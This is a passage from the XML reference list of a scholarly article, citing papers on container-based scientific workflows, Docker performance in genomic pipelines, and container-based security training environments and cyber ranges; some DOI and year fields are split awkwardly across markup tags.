            <given-names>N.</given-names>
          </string-name>
          <string-name>
            <surname>Desai</surname>
          </string-name>
          , F. Meyer, Skyport - container
          <article-title>-based execution environment management for multi-cloud scientific workflows</article-title>
          ,
          <source>in: 2014 5th International Workshop on Data-Intensive Computing in the Clouds, IEEE</source>
          ,
          <year>2014</year>
          . URL: https://doi.org/10.1109/ datacloud.
          <year>2014</year>
          .
          <article-title>6</article-title>
          . doi:
          <volume>10</volume>
          .1109/datacloud.
          <year>2014</year>
          .
          <volume>6</volume>
          .
        </mixed-citation>
      </ref>
      <ref id="ref9">
        <mixed-citation>
          [9]
          <string-name>
            <given-names>P. D.</given-names>
            <surname>Tommaso</surname>
          </string-name>
          , E. Palumbo,
          <string-name>
            <given-names>M.</given-names>
            <surname>Chatzou</surname>
          </string-name>
          ,
          <string-name>
            <given-names>P.</given-names>
            <surname>Prieto</surname>
          </string-name>
          ,
          <string-name>
            <given-names>M. L.</given-names>
            <surname>Heuer</surname>
          </string-name>
          ,
          <string-name>
            <given-names>C.</given-names>
            <surname>Notredame</surname>
          </string-name>
          ,
          <article-title>The impact of docker containers on the performance of genomic pipelines</article-title>
          ,
          <source>PeerJ</source>
          <volume>3</volume>
          (
          <year>2015</year>
          )
          <article-title>e1273</article-title>
          . URL: https://doi.org/10.7717/peerj.1273. doi:
          <volume>10</volume>
          .7717/peerj.1273.
        </mixed-citation>
      </ref>
      <ref id="ref10">
        <mixed-citation>
          [10]
          <string-name>
            <given-names>G.</given-names>
            <surname>Perrone</surname>
          </string-name>
          ,
          <string-name>
            <given-names>S. P.</given-names>
            <surname>Romano</surname>
          </string-name>
          ,
          <article-title>The docker security playground: A hands-on approach to the study of network security, in: 2017 Principles, Systems and Applications of IP Telecommunications (IPTComm)</article-title>
          , IEEE,
          <year>2017</year>
          . URL: https://doi.org/10.1109/iptcomm.
          <year>2017</year>
          .
          <volume>8169747</volume>
          . doi:
          <volume>10</volume>
          .1109/iptcomm.
          <year>2017</year>
          .
          <volume>8169747</volume>
          .
        </mixed-citation>
      </ref>
      <ref id="ref11">
        <mixed-citation>
          [11]
          <string-name>
            <given-names>F.</given-names>
            <surname>Caturano</surname>
          </string-name>
          , G. Perrone,
          <string-name>
            <given-names>S. P.</given-names>
            <surname>Romano</surname>
          </string-name>
          ,
          <article-title>Capturing flags in a dynamically deployed microservices-based heterogeneous environment</article-title>
          , in: 2020 Principles,
          <article-title>Systems and Applications of IP Telecommunications (IPTComm)</article-title>
          , IEEE,
          <year>2020</year>
          . URL: https://doi.org/10.1109/ iptcomm50535.
          <year>2020</year>
          .
          <volume>9261519</volume>
          . doi:
          <volume>10</volume>
          .1109/iptcomm50535.
          <year>2020</year>
          .
          <volume>9261519</volume>
          .
        </mixed-citation>
      </ref>
      <ref id="ref12">
        <mixed-citation>
          [12]
          <string-name>
            <given-names>R.</given-names>
            <surname>Nakata</surname>
          </string-name>
          ,
          <string-name>
            <given-names>A.</given-names>
            <surname>Otsuka</surname>
          </string-name>
          ,
          <article-title>Cyexec: A high-performance container-based cyber range with scenario randomization</article-title>
          ,
          <source>IEEE Access 9</source>
          (
          <year>2021</year>
          )
          <fpage>109095</fpage>
          -
          <lpage>109114</lpage>
          . URL: https://doi.org/10.
        </mixed-citation>
      </ref>
    </ref-list>
  </back>
</article>